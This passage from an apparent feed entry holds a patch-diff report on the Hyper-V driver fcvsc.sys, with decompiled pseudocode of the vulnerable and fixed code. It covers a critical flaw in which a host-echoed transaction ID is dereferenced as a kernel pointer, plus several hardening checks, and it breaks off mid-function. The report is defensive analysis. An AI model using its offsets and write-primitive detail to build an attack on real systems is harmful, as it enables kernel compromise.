&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>fcvsc.sys — untrusted host transaction ID dereferenced as kernel SRB pointer (CWE-822) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/fcvsc_18b35b17-fcvsc-report-20260625-232300.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/fcvsc_18b35b17-fcvsc-report-20260625-232300.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;fcvsc_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;fcvsc_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; &lt;code&gt;0.9622&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 73 matched functions (61 identical, 12 changed), 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch fixes a genuine critical flaw in the Hyper-V crash-dump storage client (&lt;code&gt;fcvsc.sys&lt;/code&gt;): the driver used a raw kernel SRB pointer as the VMBus transaction ID and then dereferenced whatever value the host echoed back, giving a malicious host a controlled kernel-pointer write into the guest. The patch replaces the raw-pointer scheme with a bounded index-into-table lookup. The same patch adds several defense-in-depth checks (a hard cap on the SCSI sense length, validation of the host-negotiated ring-buffer size, and validation of completion-packet structure). Those secondary checks harden paths that were already bounded, so they are lower severity than the pointer fix.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Untrusted Pointer Dereference via VMBus Transaction ID&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Critical&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE:&lt;/strong&gt; CWE-822 (Untrusted Pointer Dereference)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;CrashVscSendSrbRequest&lt;/code&gt; (origin of the transaction ID), &lt;code&gt;CrashVscHwInterrupt&lt;/code&gt; (ISR that trusts the echoed value), &lt;code&gt;CrashVscSrbCompletion&lt;/code&gt; (the sink that reads and writes through the pointer)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; In the crash-dump send path the driver passes the raw kernel SRB pointer to the host as the VMBus transaction ID. On completion, the ISR takes the value the host echoes back and uses it directly as the SRB pointer argument to &lt;code&gt;CrashVscSrbCompletion&lt;/code&gt;, with no validation. A malicious host can echo any 64-bit value; the guest kernel then treats it as an SRB structure — writing to fields at &lt;code&gt;+0x03&lt;/code&gt;, &lt;code&gt;+0x04&lt;/code&gt;, &lt;code&gt;+0x10&lt;/code&gt; and dereferencing the pointer stored at &lt;code&gt;+0x20&lt;/code&gt; as the destination of a copy. This is a host-controlled kernel write (and read) primitive inside the guest.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The guest sends an SRB request; &lt;code&gt;CrashVscSendSrbRequest&lt;/code&gt; passes the raw SRB pointer as the VMBus transaction ID.&lt;/li&gt;
&lt;li&gt;The malicious host returns a completion packet of type 3 whose transaction-ID field holds an attacker-chosen value.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CrashVscHwInterrupt&lt;/code&gt; reads that value from the received packet and passes it directly as the second argument (the "SRB pointer") to &lt;code&gt;CrashVscSrbCompletion&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CrashVscSrbCompletion&lt;/code&gt; writes through and dereferences that attacker-controlled pointer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Added hard cap on SCSI sense-data length (defense in depth)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (hardening)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;CrashVscSrbCompletion&lt;/code&gt;, &lt;code&gt;StorChannelCopyPacketDataToSrb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature of change:&lt;/strong&gt; Both builds already gate the sense-data copy on the SRB's own sense-buffer length field: the copy only runs when &lt;code&gt;SenseInfoBufferLength (SRB+0x0B) &amp;gt;= host_sense_len (packet+0x15)&lt;/code&gt;, and the copied size is the smaller host value. That is a matched buffer/length pair — the destination &lt;code&gt;SRB+0x20&lt;/code&gt; is bounded by the guest-owned length at &lt;code&gt;SRB+0x0B&lt;/code&gt;. The patch adds an additional upfront check that fail-fasts (&lt;code&gt;int 0x29&lt;/code&gt;) if the host sense length exceeds &lt;code&gt;0x14&lt;/code&gt;. Because the copy was already bounded by the guest's own SRB length field, this added cap is defense in depth, not the fix for a reachable overflow. In the unpatched crash path, the only way the destination and length become attacker-influenced is through Finding 1 (the SRB pointer itself is attacker-controlled); in the StorChannel path the SRB is a legitimate guest object.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3: Host-negotiated ring-buffer size validation (defense in depth)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;StorChannelEstablishCommunications&lt;/code&gt;, &lt;code&gt;CrashVscEstablishCommunications&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature of change:&lt;/strong&gt; During channel negotiation the driver stores a size value taken from the host's response. The patch adds &lt;code&gt;if ((size - 1) &amp;gt; 0x7fffff) fail-fast&lt;/code&gt; before storing/using it. This bounds a host-controlled quantity; the demonstrable impact of an out-of-range value is a guest bugcheck, so this is a hardening change.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 4: Completion-packet structure validation (defense in depth)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;StorChannelKmclPacketCompletionRoutine&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature of change:&lt;/strong&gt; The patch adds a prologue check that fail-fasts when a success completion (&lt;code&gt;status &amp;gt;= 0&lt;/code&gt;) arrives with a NULL buffer or a length below &lt;code&gt;0x30&lt;/code&gt;, before the buffer is used.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 5: IOCTL input-buffer size correction&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;VscGetCrashInterfaceWorker&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature of change:&lt;/strong&gt; The &lt;code&gt;IoBuildDeviceIoControlRequest&lt;/code&gt; input-buffer length is changed from &lt;code&gt;8&lt;/code&gt; to &lt;code&gt;0x10&lt;/code&gt;, and the patched build initializes the additional input fields. This is an internal kernel-to-kernel IOCTL (not attacker-controllable). It corrects the buffer sizing and ensures the full structure is initialized before it is sent.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;CrashVscSendSrbRequest&lt;/code&gt; &amp;amp; &lt;code&gt;CrashVscHwInterrupt&lt;/code&gt; (Untrusted Pointer Fix)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED ===&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CrashVscSendSrbRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;extra&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// VULNERABILITY: the raw kernel SRB pointer is the transaction ID&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;channel_send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*type*/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*transaction_id*/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;extra&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CrashVscHwInterrupt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// receive packet into local buffer; arg_10 = transaction ID echoed by host&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packet_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// VULNERABILITY: host-echoed value used directly as the SRB pointer&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CrashVscSrbCompletion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*srb_ptr*/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg_10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED ===&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CrashVscSendSrbRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;extra&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// scan adapter+0x18 table (0x3e8 slots) for a free entry&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3e8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SrbTable&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SrbTable&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0000001&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// FIX: pass the bounded index as the transaction ID, not a pointer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;channel_send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*type*/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*transaction_id*/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;extra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CrashVscHwInterrupt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packet_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail_fast&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// FIX: minimum size&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packet_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;host_transaction_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// arg_10&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3e7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail_fast&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// FIX: index bounds check&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SrbTable&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// look up the real pointer&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SrbTable&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// clear slot (no reuse)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail_fast&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;field_10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;host_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail_fast&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CrashVscSrbCompletion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;CrashVscSrbCompletion&lt;/code&gt; (added sense-length cap)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED ===&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CrashVscSrbCompletion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... on the fixed-format sense branch (packet[0x0f] == 2):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;host_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x15&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// EXISTING BOUND: copy only when the SRB&amp;#39;s own sense length covers it&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SenseInfoBufferLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*+0x0b*/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;host_len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SenseInfoBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*+0x20*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1c&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;host_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED ===&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CrashVscSrbCompletion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;srb_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
